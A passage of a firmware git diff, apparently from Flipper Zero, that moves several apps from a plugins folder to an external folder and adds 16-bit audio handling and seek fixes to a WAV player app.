applications/plugins/unitemp/sensors/SHT30.c rename to applications/external/unitemp/sensors/SHT30.c diff --git a/applications/plugins/unitemp/sensors/SHT30.h b/applications/external/unitemp/sensors/SHT30.h similarity index 100% rename from applications/plugins/unitemp/sensors/SHT30.h rename to applications/external/unitemp/sensors/SHT30.h diff --git a/applications/plugins/unitemp/sensors/Sensors.xlsx b/applications/external/unitemp/sensors/Sensors.xlsx similarity index 100% rename from applications/plugins/unitemp/sensors/Sensors.xlsx rename to applications/external/unitemp/sensors/Sensors.xlsx diff --git a/applications/plugins/unitemp/unitemp.c b/applications/external/unitemp/unitemp.c similarity index 100% rename from applications/plugins/unitemp/unitemp.c rename to applications/external/unitemp/unitemp.c diff --git a/applications/plugins/unitemp/unitemp.h b/applications/external/unitemp/unitemp.h similarity index 100% rename from applications/plugins/unitemp/unitemp.h rename to applications/external/unitemp/unitemp.h diff --git a/applications/plugins/unitemp/views/General_view.c b/applications/external/unitemp/views/General_view.c similarity index 100% rename from applications/plugins/unitemp/views/General_view.c rename to applications/external/unitemp/views/General_view.c diff --git a/applications/plugins/unitemp/views/MainMenu_view.c b/applications/external/unitemp/views/MainMenu_view.c similarity index 100% rename from applications/plugins/unitemp/views/MainMenu_view.c rename to applications/external/unitemp/views/MainMenu_view.c diff --git a/applications/plugins/unitemp/views/Popup_view.c b/applications/external/unitemp/views/Popup_view.c similarity index 100% rename from applications/plugins/unitemp/views/Popup_view.c rename to applications/external/unitemp/views/Popup_view.c diff --git a/applications/plugins/unitemp/views/SensorActions_view.c b/applications/external/unitemp/views/SensorActions_view.c similarity index 100% rename from applications/plugins/unitemp/views/SensorActions_view.c rename to applications/external/unitemp/views/SensorActions_view.c diff --git a/applications/plugins/unitemp/views/SensorEdit_view.c b/applications/external/unitemp/views/SensorEdit_view.c similarity index 100% rename from applications/plugins/unitemp/views/SensorEdit_view.c rename to applications/external/unitemp/views/SensorEdit_view.c diff --git a/applications/plugins/unitemp/views/SensorNameEdit_view.c b/applications/external/unitemp/views/SensorNameEdit_view.c similarity index 100% rename from applications/plugins/unitemp/views/SensorNameEdit_view.c rename to applications/external/unitemp/views/SensorNameEdit_view.c diff --git a/applications/plugins/unitemp/views/SensorsList_view.c b/applications/external/unitemp/views/SensorsList_view.c similarity index 100% rename from applications/plugins/unitemp/views/SensorsList_view.c rename to applications/external/unitemp/views/SensorsList_view.c diff --git a/applications/plugins/unitemp/views/Settings_view.c b/applications/external/unitemp/views/Settings_view.c similarity index 100% rename from applications/plugins/unitemp/views/Settings_view.c rename to applications/external/unitemp/views/Settings_view.c diff --git a/applications/plugins/unitemp/views/UnitempViews.h b/applications/external/unitemp/views/UnitempViews.h similarity index 100% rename from applications/plugins/unitemp/views/UnitempViews.h rename to applications/external/unitemp/views/UnitempViews.h diff --git a/applications/plugins/unitemp/views/Widgets_view.c b/applications/external/unitemp/views/Widgets_view.c similarity index 100% rename from applications/plugins/unitemp/views/Widgets_view.c rename to applications/external/unitemp/views/Widgets_view.c diff --git a/applications/plugins/usb_hid_autofire/CHANGELOG.md b/applications/external/usb_hid_autofire/CHANGELOG.md similarity index 100% rename from applications/plugins/usb_hid_autofire/CHANGELOG.md rename to applications/external/usb_hid_autofire/CHANGELOG.md diff --git a/applications/plugins/wifi_deauther/LICENSE b/applications/external/usb_hid_autofire/LICENSE similarity index 100% rename from applications/plugins/wifi_deauther/LICENSE rename to applications/external/usb_hid_autofire/LICENSE diff --git a/applications/plugins/usb_hid_autofire/application.fam b/applications/external/usb_hid_autofire/application.fam similarity index 75% rename from applications/plugins/usb_hid_autofire/application.fam rename to applications/external/usb_hid_autofire/application.fam index 8a184d674..9e7b9378c 100644 --- a/applications/plugins/usb_hid_autofire/application.fam +++ b/applications/external/usb_hid_autofire/application.fam @@ -1,5 +1,3 @@ -# qv. https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/AppManifests.md - App( appid="usb_hid_autofire", name="USB HID Autofire", diff --git a/applications/plugins/usb_hid_autofire/tools.c b/applications/external/usb_hid_autofire/tools.c similarity index 100% rename from applications/plugins/usb_hid_autofire/tools.c rename to applications/external/usb_hid_autofire/tools.c diff --git a/applications/plugins/usb_hid_autofire/tools.h b/applications/external/usb_hid_autofire/tools.h similarity index 100% rename from applications/plugins/usb_hid_autofire/tools.h rename to applications/external/usb_hid_autofire/tools.h diff --git a/applications/plugins/usb_hid_autofire/usb_hid_autofire.c b/applications/external/usb_hid_autofire/usb_hid_autofire.c similarity index 100% rename from applications/plugins/usb_hid_autofire/usb_hid_autofire.c rename to applications/external/usb_hid_autofire/usb_hid_autofire.c diff --git a/applications/plugins/usb_hid_autofire/usb_hid_autofire.kra b/applications/external/usb_hid_autofire/usb_hid_autofire.kra similarity index 100% rename from applications/plugins/usb_hid_autofire/usb_hid_autofire.kra rename to applications/external/usb_hid_autofire/usb_hid_autofire.kra diff --git a/applications/plugins/usb_hid_autofire/usb_hid_autofire.png b/applications/external/usb_hid_autofire/usb_hid_autofire.png similarity index 100% rename from applications/plugins/usb_hid_autofire/usb_hid_autofire.png rename to applications/external/usb_hid_autofire/usb_hid_autofire.png diff --git a/applications/plugins/usb_hid_autofire/usb_hid_autofire.svg b/applications/external/usb_hid_autofire/usb_hid_autofire.svg similarity index 100% rename from applications/plugins/usb_hid_autofire/usb_hid_autofire.svg rename to applications/external/usb_hid_autofire/usb_hid_autofire.svg diff --git a/applications/plugins/usb_hid_autofire/version.h b/applications/external/usb_hid_autofire/version.h similarity index 100% rename from applications/plugins/usb_hid_autofire/version.h rename to applications/external/usb_hid_autofire/version.h diff --git a/applications/plugins/videopoker/application.fam b/applications/external/videopoker/application.fam similarity index 100% rename from applications/plugins/videopoker/application.fam rename to applications/external/videopoker/application.fam diff --git a/applications/plugins/videopoker/poker.c b/applications/external/videopoker/poker.c similarity index 100% rename from applications/plugins/videopoker/poker.c rename to applications/external/videopoker/poker.c diff --git a/applications/plugins/videopoker/pokerIcon.png b/applications/external/videopoker/pokerIcon.png similarity index 100% rename from applications/plugins/videopoker/pokerIcon.png rename to applications/external/videopoker/pokerIcon.png diff --git a/applications/plugins/wav_player/application.fam b/applications/external/wav_player/application.fam similarity index 88% rename from applications/plugins/wav_player/application.fam rename to applications/external/wav_player/application.fam index 4040ed159..007a47694 100644 --- a/applications/plugins/wav_player/application.fam +++ b/applications/external/wav_player/application.fam @@ -3,7 +3,6 @@ App( name="WAV Player", apptype=FlipperAppType.EXTERNAL, entry_point="wav_player_app", - cdefines=["APP_WAV_PLAYER"], stack_size=4 * 1024, order=46, fap_icon="wav_10px.png", diff --git a/applications/plugins/wav_player/images/music_10px.png b/applications/external/wav_player/images/music_10px.png similarity index 100% rename from applications/plugins/wav_player/images/music_10px.png rename to applications/external/wav_player/images/music_10px.png diff --git a/applications/plugins/wav_player/wav_10px.png b/applications/external/wav_player/wav_10px.png similarity index 100% rename from applications/plugins/wav_player/wav_10px.png rename to applications/external/wav_player/wav_10px.png diff --git a/applications/plugins/wav_player/wav_parser.c b/applications/external/wav_player/wav_parser.c similarity index 100% rename from applications/plugins/wav_player/wav_parser.c rename to applications/external/wav_player/wav_parser.c diff --git a/applications/plugins/wav_player/wav_parser.h b/applications/external/wav_player/wav_parser.h similarity index 100% rename from applications/plugins/wav_player/wav_parser.h rename to applications/external/wav_player/wav_parser.h diff --git a/applications/plugins/wav_player/wav_player.c b/applications/external/wav_player/wav_player.c similarity index 71% rename from applications/plugins/wav_player/wav_player.c rename to applications/external/wav_player/wav_player.c index 3fb8b1ea5..9c1b4e5b6 100644 --- a/applications/plugins/wav_player/wav_player.c +++ b/applications/external/wav_player/wav_player.c @@ -127,7 +127,7 @@ static void app_free(WavPlayerApp* app) { // TODO: that works only with 8-bit 2ch audio static bool fill_data(WavPlayerApp* app, size_t index) { - if(app->num_channels == 1) { + if(app->num_channels == 1 && app->bits_per_sample == 8) { uint16_t* sample_buffer_start = &app->sample_buffer[index]; size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count_half); @@ -166,7 +166,108 @@ static bool fill_data(WavPlayerApp* app, size_t index) { return count != app->samples_count_half; } - if(app->num_channels == 2) { + if(app->num_channels == 1 && app->bits_per_sample == 16) { + uint16_t* sample_buffer_start = &app->sample_buffer[index]; + size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count); + + for(size_t i = count; i < app->samples_count; i++) { + //app->tmp_buffer[i] = 0; + } + + for(size_t i = 0; i < app->samples_count; i += 2) { + int16_t int_16 = + (((int16_t)app->tmp_buffer[i + 1] << 8) + (int16_t)app->tmp_buffer[i]); + + float data = ((float)int_16 / 256.0 + 127.0); + data -= UINT8_MAX / 2; // to signed + data /= UINT8_MAX / 2; // scale -1..1 + + data *= app->volume; // volume + data = tanhf(data); // hyperbolic tangent limiter + + data *= UINT8_MAX / 2; // scale -128..127 + data += UINT8_MAX / 2; // to unsigned + + if(data < 0) { + data = 0; + } + + if(data > 255) { + data = 255; + } + + sample_buffer_start[i / 2] = data; + } + + wav_player_view_set_data(app->view, sample_buffer_start, app->samples_count_half); + + return count != app->samples_count; + } + + if(app->num_channels == 2 && app->bits_per_sample == 16) { + uint16_t* sample_buffer_start = &app->sample_buffer[index]; + size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count); + + for(size_t i = 0; i < app->samples_count; i += 4) { + int16_t L = (((int16_t)app->tmp_buffer[i + 1] << 8) + (int16_t)app->tmp_buffer[i]); + int16_t R = (((int16_t)app->tmp_buffer[i + 3] << 8) + (int16_t)app->tmp_buffer[i + 2]); + int32_t int_16 = L / 2 + R / 2; // (L + R) / 2 + + float data = ((float)int_16 / 256.0 + 127.0); + data -= UINT8_MAX / 2; // to signed + data /= UINT8_MAX / 2; // scale -1..1 + + data *= app->volume; // volume + data = tanhf(data); // hyperbolic tangent limiter + + data *= UINT8_MAX / 2; // scale -128..127 + data += UINT8_MAX / 2; // to unsigned + + if(data < 0) { + data = 0; + } + + if(data > 255) { + data = 255; + } + + sample_buffer_start[i / 4] = data; + } + + count = stream_read(app->stream, app->tmp_buffer, app->samples_count); + + for(size_t i = 0; i < app->samples_count; i += 4) { + int16_t L = (((int16_t)app->tmp_buffer[i + 1] << 8) + (int16_t)app->tmp_buffer[i]); + int16_t R = (((int16_t)app->tmp_buffer[i + 3] << 8) + (int16_t)app->tmp_buffer[i + 2]); + int32_t int_16 = L / 2 + R / 2; // (L + R) / 2 + + float data = ((float)int_16 / 256.0 + 127.0); + data -= UINT8_MAX / 2; // to signed + data /= UINT8_MAX / 2; // scale -1..1 + + data *= app->volume; // volume + data = tanhf(data); // hyperbolic tangent limiter + + data *= UINT8_MAX / 2; // scale -128..127 + data += UINT8_MAX / 2; // to unsigned + + if(data < 0) { + data = 0; + } + + if(data > 255) { + data = 255; + } + + sample_buffer_start[i / 4 + app->samples_count / 4] = data; + } + + wav_player_view_set_data(app->view, sample_buffer_start, app->samples_count_half); + + return count != app->samples_count; + } + + if(app->num_channels == 2 && app->bits_per_sample == 8) { uint16_t* sample_buffer_start = &app->sample_buffer[index]; size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count); @@ -270,6 +371,9 @@ static void app_run(WavPlayerApp* app) { while(1) { if(furi_message_queue_get(app->queue, &event, FuriWaitForever) == FuriStatusOk) { if(event.type == WavPlayerEventHalfTransfer) { + wav_player_view_set_chans(app->view, app->num_channels); + wav_player_view_set_bits(app->view, app->bits_per_sample); + eof = fill_data(app, 0); wav_player_view_set_current(app->view, stream_tell(app->stream)); if(eof) { @@ -280,6 +384,9 @@ static void app_run(WavPlayerApp* app) { } } else if(event.type == WavPlayerEventFullTransfer) { + wav_player_view_set_chans(app->view, app->num_channels); + wav_player_view_set_bits(app->view, app->bits_per_sample); + eof = fill_data(app, app->samples_count_half); wav_player_view_set_current(app->view, stream_tell(app->stream)); if(eof) { @@ -297,14 +404,20 @@ static void app_run(WavPlayerApp* app) { } else if(event.type == WavPlayerEventCtrlMoveL) { int32_t seek = stream_tell(app->stream) - wav_parser_get_data_start(app->parser); - seek = - MIN(seek, (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100)); + seek = MIN( + seek, + (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100) % 2 ? + ((int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100) - 1) : + (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100)); stream_seek(app->stream, -seek, StreamOffsetFromCurrent); wav_player_view_set_current(app->view, stream_tell(app->stream)); } else if(event.type == WavPlayerEventCtrlMoveR) { int32_t seek = wav_parser_get_data_end(app->parser) - stream_tell(app->stream); - seek = - MIN(seek, (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100)); + seek = MIN( + seek, + (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100) % 2 ? + ((int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100) - 1) : + (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100)); stream_seek(app->stream, seek, StreamOffsetFromCurrent); wav_player_view_set_current(app->view, stream_tell(app->stream)); } else if(event.type == WavPlayerEventCtrlOk) { diff --git a/applications/plugins/wav_player/wav_player_hal.c b/applications/external/wav_player/wav_player_hal.c similarity index 87% rename from applications/plugins/wav_player/wav_player_hal.c rename to applications/external/wav_player/wav_player_hal.c index e711eccb4..98375d012 100644 --- a/applications/plugins/wav_player/wav_player_hal.c +++ b/applications/external/wav_player/wav_player_hal.c @@ -35,7 +35,7 @@ void wav_player_speaker_init(uint32_t sample_rate) { TIM_InitStruct.Prescaler = 0; //TIM_InitStruct.Autoreload = 1451; //64 000 000 / 1451 ~= 44100 Hz - TIM_InitStruct.Autoreload = 64000000 / sample_rate; //to support various sample rates + TIM_InitStruct.Autoreload = 64000000 / sample_rate - 1; //to support various sample rates LL_TIM_Init(SAMPLE_RATE_TIMER, &TIM_InitStruct); @@ -48,16 +48,12 @@ void wav_player_speaker_init(uint32_t sample_rate) { //========================================================= //configuring PA6 pin as TIM16 output - //furi_hal_gpio_init_ex(&gpio_ext_pa6, (GpioMode)GpioPullNo, (GpioPull)GpioModeAltFunctionPushPull, GpioSpeedVeryHigh, GpioAltFn14TIM16); - //furi_hal_gpio_init_ex(&gpio_ext_pa6, (GpioMode)GpioPullNo, (GpioPull)GpioModeAltFunctionPushPull, GpioSpeedLow, GpioAltFn14TIM16); furi_hal_gpio_init_ex( &gpio_ext_pa6, GpioModeAltFunctionPushPull, GpioPullNo, GpioSpeedVeryHigh, GpioAltFn14TIM16); - //furi_hal_gpio_init_simple(&gpio_ext_pa6, GpioModeOutputPushPull); - //furi_hal_gpio_write(&gpio_ext_pa6, false); } void wav_player_speaker_start() { diff --git a/applications/plugins/wav_player/wav_player_hal.h b/applications/external/wav_player/wav_player_hal.h similarity index 100% rename from applications/plugins/wav_player/wav_player_hal.h rename to applications/external/wav_player/wav_player_hal.h diff --git a/applications/plugins/wav_player/wav_player_view.c b/applications/external/wav_player/wav_player_view.c similarity index 90% rename from applications/plugins/wav_player/wav_player_view.c rename to applications/external/wav_player/wav_player_view.c index eee39c902..0cb04d23f 100644 --- a/applications/plugins/wav_player/wav_player_view.c +++ b/applications/external/wav_player/wav_player_view.c @@ -12,6 +12,12 @@ static void wav_player_view_draw_callback(Canvas* canvas, void* _model) { uint8_t x_pos = 0; uint8_t y_pos = 0; + /*char buffer[20]; + snprintf(buffer, sizeof(buffer), "%d", model->num_channels); + canvas_draw_str(canvas, 0, 10, buffer); + snprintf(buffer, sizeof(buffer), "%d", model->bits_per_sample); + canvas_draw_str(canvas, 0, 20, buffer);*/ + // volume x_pos = 123; y_pos = 0; @@ -156,6 +162,18 @@ void wav_player_view_set_play(WavPlayerView* wav_view, bool play) { wav_view->view, WavPlayerViewModel * model, { model->play = play; }, true); } +void wav_player_view_set_chans(WavPlayerView* wav_view, uint16_t chn) { + furi_assert(wav_view); + with_view_model( + wav_view->view, WavPlayerViewModel * model, { model->num_channels = chn; }, true); +} + +void wav_player_view_set_bits(WavPlayerView* wav_view, uint16_t bit) { + furi_assert(wav_view); + with_view_model( + wav_view->view, WavPlayerViewModel * model, { model->bits_per_sample = bit; }, true); +} + void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count) { furi_assert(wav_view); with_view_model( diff --git a/applications/plugins/wav_player/wav_player_view.h b/applications/external/wav_player/wav_player_view.h similarity index 89% rename from applications/plugins/wav_player/wav_player_view.h rename to applications/external/wav_player/wav_player_view.h index d841b04c0..02ed4479c 100644 --- a/applications/plugins/wav_player/wav_player_view.h +++ b/applications/external/wav_player/wav_player_view.h @@ -43,6 +43,9 @@ typedef struct { size_t end; size_t current; uint8_t data[DATA_COUNT]; + + uint16_t bits_per_sample; + uint16_t num_channels; } WavPlayerViewModel; WavPlayerView* wav_player_view_alloc(); @@ -63,6 +66,9 @@ void wav_player_view_set_play(WavPlayerView* wav_view, bool play); void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count); +void wav_player_view_set_bits(WavPlayerView* wav_view, uint16_t bit); +void wav_player_view_set_chans(WavPlayerView* wav_view, uint16_t chn); + void wav_player_view_set_ctrl_callback(WavPlayerView* wav_view, WavPlayerCtrlCallback callback); void wav_player_view_set_context(WavPlayerView* wav_view, void* context); diff --git a/applications/plugins/weather_station/application.fam b/applications/external/weather_station/application.fam similarity index 79% rename from applications/plugins/weather_station/application.fam rename to applications/external/weather_station/application.fam index 935f92573..8dcaa1259 100644 --- a/applications/plugins/weather_station/application.fam +++ b/applications/external/weather_station/application.fam @@ -1,10 +1,9 @@ App( appid="weather_station", name="Weather Station", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, targets=["f7"], entry_point="weather_station_app", - cdefines=["APP_WEATHER_STATION"], requires=["gui"], stack_size=4 * 1024, order=50, diff --git a/applications/plugins/weather_station/helpers/weather_station_event.h b/applications/external/weather_station/helpers/weather_station_event.h similarity index 100% rename from applications/plugins/weather_station/helpers/weather_station_event.h rename to applications/external/weather_station/helpers/weather_station_event.h diff --git a/applications/plugins/weather_station/helpers/weather_station_types.h b/applications/external/weather_station/helpers/weather_station_types.h similarity index 100% rename from applications/plugins/weather_station/helpers/weather_station_types.h rename to applications/external/weather_station/helpers/weather_station_types.h diff --git a/applications/plugins/weather_station/images/Humid_10x15.png b/applications/external/weather_station/images/Humid_10x15.png similarity index 100% rename from applications/plugins/weather_station/images/Humid_10x15.png rename to applications/external/weather_station/images/Humid_10x15.png diff --git a/applications/plugins/weather_station/images/Humid_8x13.png b/applications/external/weather_station/images/Humid_8x13.png similarity index 100% rename from applications/plugins/weather_station/images/Humid_8x13.png rename to applications/external/weather_station/images/Humid_8x13.png diff --git a/applications/plugins/weather_station/images/Lock_7x8.png b/applications/external/weather_station/images/Lock_7x8.png similarity index 100% rename from applications/plugins/weather_station/images/Lock_7x8.png rename to applications/external/weather_station/images/Lock_7x8.png diff --git a/applications/plugins/weather_station/images/Pin_back_arrow_10x8.png b/applications/external/weather_station/images/Pin_back_arrow_10x8.png similarity index 100% rename from applications/plugins/weather_station/images/Pin_back_arrow_10x8.png rename to applications/external/weather_station/images/Pin_back_arrow_10x8.png diff --git a/applications/plugins/weather_station/images/Quest_7x8.png b/applications/external/weather_station/images/Quest_7x8.png similarity index 100% rename from applications/plugins/weather_station/images/Quest_7x8.png rename to applications/external/weather_station/images/Quest_7x8.png diff --git a/applications/plugins/weather_station/images/Scanning_123x52.png b/applications/external/weather_station/images/Scanning_123x52.png similarity index 100% rename from applications/plugins/weather_station/images/Scanning_123x52.png rename to applications/external/weather_station/images/Scanning_123x52.png diff --git a/applications/plugins/weather_station/images/Therm_7x16.png b/applications/external/weather_station/images/Therm_7x16.png similarity index 100% rename from applications/plugins/weather_station/images/Therm_7x16.png rename to applications/external/weather_station/images/Therm_7x16.png diff --git a/applications/plugins/weather_station/images/Timer_11x11.png b/applications/external/weather_station/images/Timer_11x11.png similarity index 100% rename from applications/plugins/weather_station/images/Timer_11x11.png rename to applications/external/weather_station/images/Timer_11x11.png diff --git a/applications/plugins/weather_station/images/Unlock_7x8.png b/applications/external/weather_station/images/Unlock_7x8.png similarity index 100% rename from applications/plugins/weather_station/images/Unlock_7x8.png rename to applications/external/weather_station/images/Unlock_7x8.png diff --git a/applications/plugins/weather_station/images/WarningDolphin_45x42.png b/applications/external/weather_station/images/WarningDolphin_45x42.png similarity index 100% rename from applications/plugins/weather_station/images/WarningDolphin_45x42.png rename to applications/external/weather_station/images/WarningDolphin_45x42.png diff --git a/applications/plugins/weather_station/images/station_icon.png b/applications/external/weather_station/images/station_icon.png similarity index 100% rename from applications/plugins/weather_station/images/station_icon.png rename to applications/external/weather_station/images/station_icon.png diff --git a/applications/plugins/weather_station/protocols/acurite_592txr.c b/applications/external/weather_station/protocols/acurite_592txr.c similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_592txr.c rename to applications/external/weather_station/protocols/acurite_592txr.c diff --git a/applications/plugins/weather_station/protocols/acurite_592txr.h b/applications/external/weather_station/protocols/acurite_592txr.h similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_592txr.h rename to applications/external/weather_station/protocols/acurite_592txr.h diff --git a/applications/plugins/weather_station/protocols/acurite_606tx.c b/applications/external/weather_station/protocols/acurite_606tx.c similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_606tx.c rename to applications/external/weather_station/protocols/acurite_606tx.c diff --git a/applications/plugins/weather_station/protocols/acurite_606tx.h b/applications/external/weather_station/protocols/acurite_606tx.h similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_606tx.h rename to applications/external/weather_station/protocols/acurite_606tx.h diff --git a/applications/plugins/weather_station/protocols/acurite_609txc.c b/applications/external/weather_station/protocols/acurite_609txc.c similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_609txc.c rename to applications/external/weather_station/protocols/acurite_609txc.c diff --git a/applications/plugins/weather_station/protocols/acurite_609txc.h b/applications/external/weather_station/protocols/acurite_609txc.h similarity index 100% rename from applications/plugins/weather_station/protocols/acurite_609txc.h rename to applications/external/weather_station/protocols/acurite_609txc.h diff --git a/applications/plugins/weather_station/protocols/ambient_weather.c b/applications/external/weather_station/protocols/ambient_weather.c similarity index 100% rename from applications/plugins/weather_station/protocols/ambient_weather.c rename to applications/external/weather_station/protocols/ambient_weather.c diff --git a/applications/plugins/weather_station/protocols/ambient_weather.h b/applications/external/weather_station/protocols/ambient_weather.h similarity index 100% rename from applications/plugins/weather_station/protocols/ambient_weather.h rename to applications/external/weather_station/protocols/ambient_weather.h diff --git a/applications/plugins/weather_station/protocols/auriol_hg0601a.c b/applications/external/weather_station/protocols/auriol_hg0601a.c similarity index 100% rename from applications/plugins/weather_station/protocols/auriol_hg0601a.c rename to applications/external/weather_station/protocols/auriol_hg0601a.c diff --git a/applications/plugins/weather_station/protocols/auriol_hg0601a.h b/applications/external/weather_station/protocols/auriol_hg0601a.h similarity index 100% rename from applications/plugins/weather_station/protocols/auriol_hg0601a.h rename to applications/external/weather_station/protocols/auriol_hg0601a.h diff --git a/applications/plugins/weather_station/protocols/gt_wt_02.c b/applications/external/weather_station/protocols/gt_wt_02.c similarity index 100% rename from applications/plugins/weather_station/protocols/gt_wt_02.c rename to applications/external/weather_station/protocols/gt_wt_02.c diff --git a/applications/plugins/weather_station/protocols/gt_wt_02.h b/applications/external/weather_station/protocols/gt_wt_02.h similarity index 100% rename from applications/plugins/weather_station/protocols/gt_wt_02.h rename to applications/external/weather_station/protocols/gt_wt_02.h diff --git a/applications/plugins/weather_station/protocols/gt_wt_03.c b/applications/external/weather_station/protocols/gt_wt_03.c similarity index 100% rename from applications/plugins/weather_station/protocols/gt_wt_03.c rename to applications/external/weather_station/protocols/gt_wt_03.c diff --git a/applications/plugins/weather_station/protocols/gt_wt_03.h b/applications/external/weather_station/protocols/gt_wt_03.h similarity index 100% rename from applications/plugins/weather_station/protocols/gt_wt_03.h rename to applications/external/weather_station/protocols/gt_wt_03.h diff --git a/applications/plugins/weather_station/protocols/infactory.c b/applications/external/weather_station/protocols/infactory.c similarity index 100% rename from applications/plugins/weather_station/protocols/infactory.c rename to applications/external/weather_station/protocols/infactory.c diff --git a/applications/plugins/weather_station/protocols/infactory.h b/applications/external/weather_station/protocols/infactory.h similarity index 100% rename from applications/plugins/weather_station/protocols/infactory.h rename to applications/external/weather_station/protocols/infactory.h diff --git a/applications/plugins/weather_station/protocols/lacrosse_tx.c b/applications/external/weather_station/protocols/lacrosse_tx.c similarity index 100% rename from applications/plugins/weather_station/protocols/lacrosse_tx.c rename to applications/external/weather_station/protocols/lacrosse_tx.c diff --git a/applications/plugins/weather_station/protocols/lacrosse_tx.h b/applications/external/weather_station/protocols/lacrosse_tx.h similarity index 100% rename from applications/plugins/weather_station/protocols/lacrosse_tx.h rename to applications/external/weather_station/protocols/lacrosse_tx.h diff --git a/applications/plugins/weather_station/protocols/lacrosse_tx141thbv2.c b/applications/external/weather_station/protocols/lacrosse_tx141thbv2.c similarity index 100% rename from applications/plugins/weather_station/protocols/lacrosse_tx141thbv2.c rename to applications/external/weather_station/protocols/lacrosse_tx141thbv2.c diff --git a/applications/plugins/weather_station/protocols/lacrosse_tx141thbv2.h b/applications/external/weather_station/protocols/lacrosse_tx141thbv2.h similarity index 100% rename from applications/plugins/weather_station/protocols/lacrosse_tx141thbv2.h rename to applications/external/weather_station/protocols/lacrosse_tx141thbv2.h diff --git a/applications/plugins/weather_station/protocols/nexus_th.c b/applications/external/weather_station/protocols/nexus_th.c similarity index 100% rename from applications/plugins/weather_station/protocols/nexus_th.c rename to applications/external/weather_station/protocols/nexus_th.c diff --git a/applications/plugins/weather_station/protocols/nexus_th.h b/applications/external/weather_station/protocols/nexus_th.h similarity index 100% rename from applications/plugins/weather_station/protocols/nexus_th.h rename to applications/external/weather_station/protocols/nexus_th.h diff --git a/applications/plugins/weather_station/protocols/oregon2.c b/applications/external/weather_station/protocols/oregon2.c similarity index 100% rename from applications/plugins/weather_station/protocols/oregon2.c rename to applications/external/weather_station/protocols/oregon2.c diff --git a/applications/plugins/weather_station/protocols/oregon2.h b/applications/external/weather_station/protocols/oregon2.h similarity index 100% rename from applications/plugins/weather_station/protocols/oregon2.h rename to applications/external/weather_station/protocols/oregon2.h diff --git a/applications/plugins/weather_station/protocols/oregon_v1.c b/applications/external/weather_station/protocols/oregon_v1.c similarity index 100% rename from applications/plugins/weather_station/protocols/oregon_v1.c rename to applications/external/weather_station/protocols/oregon_v1.c diff --git a/applications/plugins/weather_station/protocols/oregon_v1.h b/applications/external/weather_station/protocols/oregon_v1.h similarity index 100% rename from applications/plugins/weather_station/protocols/oregon_v1.h rename to applications/external/weather_station/protocols/oregon_v1.h diff --git a/applications/plugins/weather_station/protocols/protocol_items.c b/applications/external/weather_station/protocols/protocol_items.c similarity index 100% rename from applications/plugins/weather_station/protocols/protocol_items.c rename to applications/external/weather_station/protocols/protocol_items.c diff --git a/applications/plugins/weather_station/protocols/protocol_items.h b/applications/external/weather_station/protocols/protocol_items.h similarity index 100% rename from applications/plugins/weather_station/protocols/protocol_items.h rename to applications/external/weather_station/protocols/protocol_items.h diff --git a/applications/plugins/weather_station/protocols/thermopro_tx4.c b/applications/external/weather_station/protocols/thermopro_tx4.c similarity index 100% rename from applications/plugins/weather_station/protocols/thermopro_tx4.c rename to applications/external/weather_station/protocols/thermopro_tx4.c diff --git a/applications/plugins/weather_station/protocols/thermopro_tx4.h b/applications/external/weather_station/protocols/thermopro_tx4.h similarity index 100% rename from applications/plugins/weather_station/protocols/thermopro_tx4.h rename to applications/external/weather_station/protocols/thermopro_tx4.h diff --git a/applications/plugins/weather_station/protocols/tx_8300.c b/applications/external/weather_station/protocols/tx_8300.c similarity index 100% rename from applications/plugins/weather_station/protocols/tx_8300.c rename to applications/external/weather_station/protocols/tx_8300.c diff --git a/applications/plugins/weather_station/protocols/tx_8300.h b/applications/external/weather_station/protocols/tx_8300.h similarity index 100% rename from applications/plugins/weather_station/protocols/tx_8300.h rename to applications/external/weather_station/protocols/tx_8300.h diff --git a/applications/plugins/weather_station/protocols/ws_generic.c b/applications/external/weather_station/protocols/ws_generic.c similarity index 100% rename from applications/plugins/weather_station/protocols/ws_generic.c rename to applications/external/weather_station/protocols/ws_generic.c diff --git a/applications/plugins/weather_station/protocols/ws_generic.h b/applications/external/weather_station/protocols/ws_generic.h similarity index 100% rename from applications/plugins/weather_station/protocols/ws_generic.h rename to applications/external/weather_station/protocols/ws_generic.h diff --git a/applications/plugins/weather_station/scenes/weather_station_receiver.c b/applications/external/weather_station/scenes/weather_station_receiver.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_receiver.c rename to applications/external/weather_station/scenes/weather_station_receiver.c diff --git a/applications/plugins/weather_station/scenes/weather_station_scene.c b/applications/external/weather_station/scenes/weather_station_scene.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene.c rename to applications/external/weather_station/scenes/weather_station_scene.c diff --git a/applications/plugins/weather_station/scenes/weather_station_scene.h b/applications/external/weather_station/scenes/weather_station_scene.h similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene.h rename to applications/external/weather_station/scenes/weather_station_scene.h diff --git a/applications/plugins/weather_station/scenes/weather_station_scene_about.c b/applications/external/weather_station/scenes/weather_station_scene_about.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene_about.c rename to applications/external/weather_station/scenes/weather_station_scene_about.c diff --git a/applications/plugins/weather_station/scenes/weather_station_scene_config.h b/applications/external/weather_station/scenes/weather_station_scene_config.h similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene_config.h rename to applications/external/weather_station/scenes/weather_station_scene_config.h diff --git a/applications/plugins/weather_station/scenes/weather_station_scene_receiver_config.c 